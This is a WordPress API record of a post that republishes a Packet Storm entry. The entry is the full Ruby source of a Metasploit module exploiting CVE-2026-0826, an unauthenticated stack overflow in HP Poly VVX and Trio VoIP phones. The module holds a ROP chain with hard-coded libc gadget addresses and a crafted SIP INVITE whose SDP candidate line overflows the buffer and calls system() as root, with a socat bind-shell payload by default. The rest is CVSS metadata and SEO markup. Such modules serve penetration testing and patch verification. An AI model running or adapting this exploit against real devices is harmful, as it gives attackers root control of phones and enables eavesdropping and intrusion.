{"id":64500,"date":"2026-06-19T23:48:27","date_gmt":"2026-06-19T23:48:27","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=64500"},"modified":"2026-06-19T23:48:27","modified_gmt":"2026-06-19T23:48:27","slug":"hp-poly-voice-unauthenticated-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=64500","title":{"rendered":"\ud83d\udcc4 HP Poly Voice Unauthenticated Remote Code Execution_PACKETSTORM:223892"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-20T03:52:39&#8243;,&#8221;description&#8221;:&#8221;CVE-2026-0826 is a critical unauthenticated stack-based buffer overflow vulnerability affecting all models in the VVX series VVX 150, VVX 250, VVX 350, and VVX 450, as well as three models from the Trio IP Conference series Trio 8800, Trio 8500, and&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-19T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-19T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 HP Poly Voice Unauthenticated Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223892&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-0826&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = GreatRanking\\n    \\n      prepend Msf::Exploit::Remote::AutoCheck\\n      include Msf::Exploit::Remote::Udp\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;HP Poly Voice Unauthenticated Remote Code Execution&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              CVE-2026-0826 is a critical unauthenticated stack-based buffer overflow vulnerability affecting all\\n              models in the VVX series (VVX 150, VVX 250, VVX 350, and VVX 450), as well as three models from the Trio IP\\n              Conference series (Trio 8800, Trio 8500, and Trio 8300). A remote attacker can leverage CVE-2026-0826 to achieve\\n              unauthenticated remote code execution (RCE) with root privileges on a target device. The vulnerability is present\\n              in the device&#8217;s parsing of Session Description Protocol (SDP) attributes for Interactive Connectivity Establishment\\n              (ICE). The ICE feature, which is not enabled by default, must be enabled for the device to be exploitable by a\\n              remote attacker.\\n            },\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;Author&#8217; =\\u003e [\\n              &#8216;sfewer-r7&#8217;, # Discovery, Analysis, Exploit\\n            ],\\n            &#8216;References&#8217; =\\u003e [\\n              [&#8216;CVE&#8217;, &#8216;2026-0826&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/support.hp.com\/us-en\/document\/ish_15052661-15052687-16\/hpsbpy04083&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/www.rapid7.com\/blog\/post\/ve-cve-2026-0826-critical-unauthenticated-stack-buffer-overflow-hp-poly-vvx-trio-voip-phones-fixed\/&#8217;]\\n            ],\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2026-06-01&#8217;,\\n            # While the target is an embedded Linux system, there is no curl\/wget\/ftp for the command payloads, so we\\n            # only expose the Unix payloads. Only the socat payloads have been tested to work.\\n            &#8216;Platform&#8217; =\\u003e &#8216;unix&#8217;,\\n            &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n            &#8216;Privileged&#8217; =\\u003e true, # \/usr\/local\/root\/polyapp runs as root\\n            &#8216;Targets&#8217; =\\u003e [\\n              [ &#8216;Automatic&#8217;, {} ],\\n            ],\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            # NOTE: Tested with the following payloads:\\n            #    cmd\/unix\/bind_socat_tcp\\n            &#8216;DefaultOptions&#8217; =\\u003e {\\n              &#8216;RPORT&#8217; =\\u003e 5060,\\n              &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/unix\/bind_socat_tcp&#8217;,\\n              &#8216;SocatPath&#8217; =\\u003e &#8216;\/usr\/local\/bin\/socat&#8217;,\\n              &#8216;BashPath&#8217; =\\u003e &#8216;\/bin\/sh&#8217;\\n            },\\n            &#8216;Payload&#8217; =\\u003e {\\n              &#8216;BadChars&#8217; =\\u003e \\&#8221;\\\\r\\\\n\\\\0 \\&#8221;,\\n              &#8216;Encoder&#8217; =\\u003e &#8216;cmd\/ifs&#8217;\\n            },\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [CRASH_OS_RESTARTS],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n              &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS]\\n            }\\n          )\\n        )\\n      end\\n    \\n      def check\\n        connect_udp\\n    \\n        sip_response, model_str, version_str = get_version\\n    \\n        unless sip_response.nil? || model_str.nil? || version_str.nil?\\n    \\n          version = Rex::Version.new(version_str)\\n    \\n          description = \\&#8221;Poly #{model_str} version #{version_str}\\&#8221;\\n    \\n          # Per the vendor advisory, every model in the VVX family is vulnerable, and three models in the Trio family\\n          # are vulnerable. The fixed firmware version is also given here.\\n          affected_ranges = [\\n            { family: &#8216;vvx&#8217;, model: nil, fixed_version: &#8216;6.4.8&#8217; },\\n            { family: &#8216;trio&#8217;, model: &#8216;8300&#8217;, fixed_version: &#8216;8.1.7&#8217; },\\n            { family: &#8216;trio&#8217;, model: &#8216;8500&#8217;, fixed_version: &#8216;7.2.8&#8217; },\\n            { family: &#8216;trio&#8217;, model: &#8216;8800&#8217;, fixed_version: &#8216;7.2.8&#8217; },\\n          ]\\n    \\n          affected_ranges.each do |affected_range|\\n            next unless model_str.downcase.include?(affected_range[:family])\\n    \\n            next if (affected_range[:model]) \\u0026\\u0026 !model_str.downcase.include?(affected_range[:model])\\n    \\n            next unless version \\u003c Rex::Version.new(affected_range[:fixed_version])\\n    \\n            # NOTE: When we use \\&#8221;Require: ice\\&#8221; in the request, we get a \\&#8221;420 Bad Extension\\&#8221; response if ICE is enabled\\n            # but not fully configured. The phone will still be exploitable.\\n    \\n            if sip_response.start_with? \\&#8221;SIP\/2.0 200 OK\\\\r\\\\n\\&#8221;\\n              return Exploit::CheckCode::Appears(description)\\n            end\\n    \\n            return Exploit::CheckCode::Detected(description)\\n          end\\n    \\n          return Exploit::CheckCode::Safe(description)\\n        end\\n    \\n        CheckCode::Unknown\\n      ensure\\n        disconnect_udp\\n      end\\n    \\n      def exploit\\n        connect_udp\\n    \\n        cmd = payload.encoded.to_s\\n    \\n        unless datastore[&#8216;PAYLOAD&#8217;] == &#8216;cmd\/unix\/bind_socat_tcp&#8217;\\n          print_warning(&#8216;Only the unix socat payload cmd\/unix\/bind_socat_tcp has been verified to work&#8217;)\\n        end\\n    \\n        vprint_status(\\&#8221;cmd: #{cmd}\\&#8221;)\\n    \\n        _, model_str, version_str = get_version\\n    \\n        fail_with(Failure::UnexpectedReply, &#8216;Failed to get target version&#8217;) unless version_str \\u0026\\u0026 model_str\\n    \\n        rop_table = nil\\n    \\n        if model_str.downcase.include? &#8216;vvx&#8217;\\n          rop_table = get_vvx_rop_table(version_str)\\n        else\\n          fail_with(Failure::BadConfig, \\&#8221;No ROP table available for model #{model_str}\\&#8221;)\\n        end\\n    \\n        fail_with(Failure::BadConfig, \\&#8221;No ROP table available for #{model_str} version #{version_str}\\&#8221;) unless rop_table\\n    \\n        vprint_status(\\&#8221;ROP Table: #{rop_table}\\&#8221;)\\n    \\n        # we use system() which will do \\&#8221;\/bin\/sh -c \\u003cCMD\\u003e\\&#8221; for us.\\n    \\n        attribute_name = &#8216;a=candidate:&#8217;\\n    \\n        overflow = attribute_name\\n        overflow += &#8216;A&#8217; * (256 &#8211; attribute_name.length) # fill the 256 byte stack buffer\\n        overflow += &#8216;B&#8217; * 19 # padding\\n        overflow += &#8216;1111&#8217; # r4\\n        overflow += &#8216;2222&#8217; # r5\\n        overflow += &#8216;3333&#8217; # r11\\n        # .text:40A71454 POP {PC}\\n        overflow += [rop_table[:libc_base] + rop_table[:libc_gadget1]].pack(&#8216;V&#8217;) # pc #1 &#8211; align stack (otherwise we are off by 4 and libc!fork will SIGSEGV during libc!system)\\n        # .text:40B57C0C POP {R0-R3,PC}\\n        overflow += [rop_table[:libc_base] + rop_table[:libc_gadget2]].pack(&#8216;V&#8217;) # pc #2 &#8211; set r3 to libc!system\\n        overflow += &#8216;CCCC&#8217; # r0\\n        overflow += &#8216;CCCC&#8217; # r1\\n        overflow += &#8216;CCCC&#8217; # r2\\n        overflow += [rop_table[:libc_base] + rop_table[:libc_system]].pack(&#8216;V&#8217;) # r3 &#8211; # .text:40A939C8 ; int __fastcall system(char *cmd)\\n        # .text:40B41BF4 MOV R0, SP\\n        # .text:40B41BF8 BLX R3\\n        overflow += [rop_table[:libc_base] + rop_table[:libc_gadget4]].pack(&#8216;V&#8217;) # pc #3 &#8211; set r0 == cmd, and call system(cmd)\\n        overflow += cmd # \\u0026sp\\n    \\n        _, udp_lhost, udp_lport = udp_sock.getlocalname\\n    \\n        sdp_data = \\&#8221;c=IN IP4 #{udp_lhost}\\\\r\\\\n\\&#8221;\\n        sdp_data += \\&#8221;m=audio #{rand(50_000..50_999)} RTP\/AVP 0\\\\r\\\\n\\&#8221;\\n        sdp_data += \\&#8221;a=rtpmap:0 PCMU\/8000\/1\\\\r\\\\n\\&#8221;\\n        sdp_data += \\&#8221;#{overflow}\\\\r\\\\n\\&#8221;\\n    \\n        call_id = Rex::Text.rand_text_hex(16)\\n    \\n        cseq = rand(65_535)\\n    \\n        sip_request = \\&#8221;INVITE sip:#{rhost}:#{rport} SIP\/2.0\\\\r\\\\n\\&#8221;\\n        sip_request \\u003c\\u003c \\&#8221;Via: SIP\/2.0\/UDP #{udp_lhost}:#{udp_lport}\\\\r\\\\n\\&#8221;\\n        sip_request \\u003c\\u003c \\&#8221;Route: \\u003csip:#{udp_lhost}:#{udp_lport};lr\\u003e\\\\r\\\\n\\&#8221;\\n        sip_request \\u003c\\u003c \\&#8221;From: \\u003csip:#{rhost}:#{rport}\\u003e\\\\r\\\\n\\&#8221; # The From is the target ip, as this can appear in the UI as a missed call.\\n        sip_request \\u003c\\u003c \\&#8221;To: \\u003csip:#{rhost}:#{rport}\\u003e\\\\r\\\\n\\&#8221;\\n        sip_request \\u003c\\u003c \\&#8221;Contact: \\u003csip:#{rhost}\\u003e\\\\r\\\\n\\&#8221;\\n        sip_request \\u003c\\u003c \\&#8221;Call-ID: #{call_id}\\\\r\\\\n\\&#8221;\\n        sip_request \\u003c\\u003c \\&#8221;CSeq: #{cseq} INVITE\\\\r\\\\n\\&#8221;\\n        sip_request \\u003c\\u003c \\&#8221;Content-Type: application\/sdp\\\\r\\\\n\\&#8221;\\n        sip_request \\u003c\\u003c \\&#8221;Content-Length: #{sdp_data.bytesize}\\\\r\\\\n\\&#8221;\\n        sip_request \\u003c\\u003c \\&#8221;\\\\r\\\\n\\&#8221;\\n        sip_request \\u003c\\u003c sdp_data\\n    \\n        udp_sock.put(sip_request)\\n      ensure\\n        disconnect_udp\\n      end\\n    \\n      def get_version\\n        # Cache the response for the scenario where exploit is run with AutoCheck true. This avoids a second SIP OPTIONS\\n        # request being sent to the target.\\n        @get_version ||= _get_version\\n      end\\n    \\n      def _get_version\\n        _, udp_lhost, udp_lport = udp_sock.getlocalname\\n    \\n        sip_request = \\&#8221;OPTIONS sip:#{rhost}:#{rport} SIP\/2.0\\\\r\\\\n\\&#8221;\\n        sip_request \\u003c\\u003c \\&#8221;Via: SIP\/2.0\/UDP #{udp_lhost}:#{udp_lport}\\\\r\\\\n\\&#8221;\\n        sip_request \\u003c\\u003c \\&#8221;From: \\u003csip:#{udp_lhost}:#{udp_lport}\\u003e\\\\r\\\\n\\&#8221;\\n        sip_request \\u003c\\u003c \\&#8221;To: \\u003csip:#{rhost}:#{rport}\\u003e\\\\r\\\\n\\&#8221;\\n        sip_request \\u003c\\u003c \\&#8221;CSeq: #{rand(65_535)} OPTIONS\\\\r\\\\n\\&#8221;\\n        sip_request \\u003c\\u003c \\&#8221;Call-ID: #{Rex::Text.rand_text_hex(16)}\\\\r\\\\n\\&#8221;\\n        # The vuln is in a non-default service for Interactive Connectivity Establishment (ICE). We use the Require header\\n        # to ask the target if it supports ICE.\\n        sip_request \\u003c\\u003c \\&#8221;Require: ice\\\\r\\\\n\\&#8221;\\n        sip_request \\u003c\\u003c \\&#8221;\\\\r\\\\n\\&#8221;\\n    \\n        udp_sock.put(sip_request)\\n    \\n        sip_response = udp_sock.get(udp_sock.def_read_timeout)\\n    \\n        unless sip_response.empty?\\n          # HP Poly VVX devices are vulnerable.\\n          # Example user agent string: \\&#8221;User-Agent: PolycomVVX-VVX_450-UA\/6.4.7.4477\\&#8221;\\n          if sip_response =~ %r{User-Agent:\\\\s*PolycomVVX-(VVX_\\\\d+)-UA\/([\\\\d+.]+)}i\\n            return sip_response, Regexp.last_match(1), Regexp.last_match(2)\\n          end\\n    \\n          # HP Poly Trio devices are vulnerable also, Recog has a regex and example values for these:\\n          # https:\/\/github.com\/rapid7\/recog\/blob\/d6b0ee8b5272198c0d2e38d78999836c821f0934\/xml\/sip_banners.xml#L763C25-L763C112\\n          # Example user agent string: \\&#8221;User-Agent: PolycomRealPresenceTrio-Trio_8800-UA\/5.4.0.12197\\&#8221;\\n          if sip_response =~ %r{User-Agent:\\\\s*(?:Polycom\/[\\\\d.]+ )?PolycomRealPresenceTrio-(Trio_\\\\S+)-UA\/([\\\\d.]+)(?:_(.{12}))?}\\n            return sip_response, Regexp.last_match(1), Regexp.last_match(2)\\n          end\\n    \\n        end\\n    \\n        [nil, nil, nil]\\n      end\\n    \\n      def get_vvx_rop_table(version_str)\\n        rop_tables = {\\n          &#8216;6.4.7.4477&#8217; =\\u003e {\\n            # Even though \/proc\/sys\/kernel\/randomize_va_space is 1, all libraries are\\n            # mapped from 0x40000000, and libc ends up here.\\n            libc_base: 0x40A5C000,\\n            # .text:40A71454 POP {PC}\\n            libc_gadget1: 0x15454,\\n            # .text:40B57C0C POP {R0-R3,PC}\\n            libc_gadget2: 0xFBC0C,\\n            # .text:40A939C8 ; int __fastcall system(char *cmd)\\n            libc_system: 0x379C8,\\n            # .text:40B41BF4 MOV R0, SP\\n            # .text:40B41BF8 BLX R3\\n            libc_gadget4: 0xE5BF4\\n          }\\n        }\\n    \\n        rop_tables[version_str]\\n      end\\n    end&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/223892&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.2,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:4.0\/AV:N\/AC:L\/AT:P\/PR:N\/UI:N\/VC:H\/SC:N\/VI:H\/SI:N\/VA:H\/SA:N&#8221;,&#8221;version&#8221;:&#8221;4.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/223892\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-20T03:52:39&#8243;,&#8221;description&#8221;:&#8221;CVE-2026-0826 is a critical unauthenticated stack-based buffer overflow vulnerability affecting all models in the VVX series VVX 150, VVX 250, VVX 350, and VVX 450,&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,42,12,13,53,7,11,5],"class_list":["post-64500","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-92","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 HP Poly Voice Unauthenticated Remote Code Execution_PACKETSTORM:223892 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=64500\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 HP Poly Voice Unauthenticated Remote Code Execution_PACKETSTORM:223892 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-20T03:52:39&#8243;,&#8221;description&#8221;:&#8221;CVE-2026-0826 is a critical unauthenticated stack-based buffer overflow vulnerability affecting all models in the VVX series VVX 150, VVX 250, VVX 350, and VVX 450,...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=64500\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-19T23:48:27+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64500#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64500\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 HP Poly Voice Unauthenticated Remote Code Execution_PACKETSTORM:223892\",\"datePublished\":\"2026-06-19T23:48:27+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64500\"},\"wordCount\":1821,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.2\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=64500#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64500\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64500\",\"name\":\"\ud83d\udcc4 HP Poly Voice Unauthenticated Remote Code Execution_PACKETSTORM:223892 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-19T23:48:27+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64500#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=64500\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64500#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 HP Poly Voice Unauthenticated Remote Code Execution_PACKETSTORM:223892\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 HP Poly Voice Unauthenticated Remote Code Execution_PACKETSTORM:223892 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=64500","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 HP Poly Voice Unauthenticated Remote Code Execution_PACKETSTORM:223892 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-20T03:52:39&#8243;,&#8221;description&#8221;:&#8221;CVE-2026-0826 is a critical unauthenticated stack-based buffer overflow vulnerability affecting all models in the VVX series VVX 150, VVX 250, VVX 350, and VVX 450,...","og_url":"https:\/\/zero.redgem.net\/?p=64500","og_site_name":"zero redgem","article_published_time":"2026-06-19T23:48:27+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=64500#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=64500"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 HP Poly Voice Unauthenticated Remote Code Execution_PACKETSTORM:223892","datePublished":"2026-06-19T23:48:27+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=64500"},"wordCount":1821,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.2","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=64500#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=64500","url":"https:\/\/zero.redgem.net\/?p=64500","name":"\ud83d\udcc4 HP Poly Voice Unauthenticated Remote Code Execution_PACKETSTORM:223892 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-19T23:48:27+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=64500#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=64500"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=64500#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 HP Poly Voice Unauthenticated Remote Code Execution_PACKETSTORM:223892"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/64500","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=64500"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/64500\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=64500"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=64500"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/z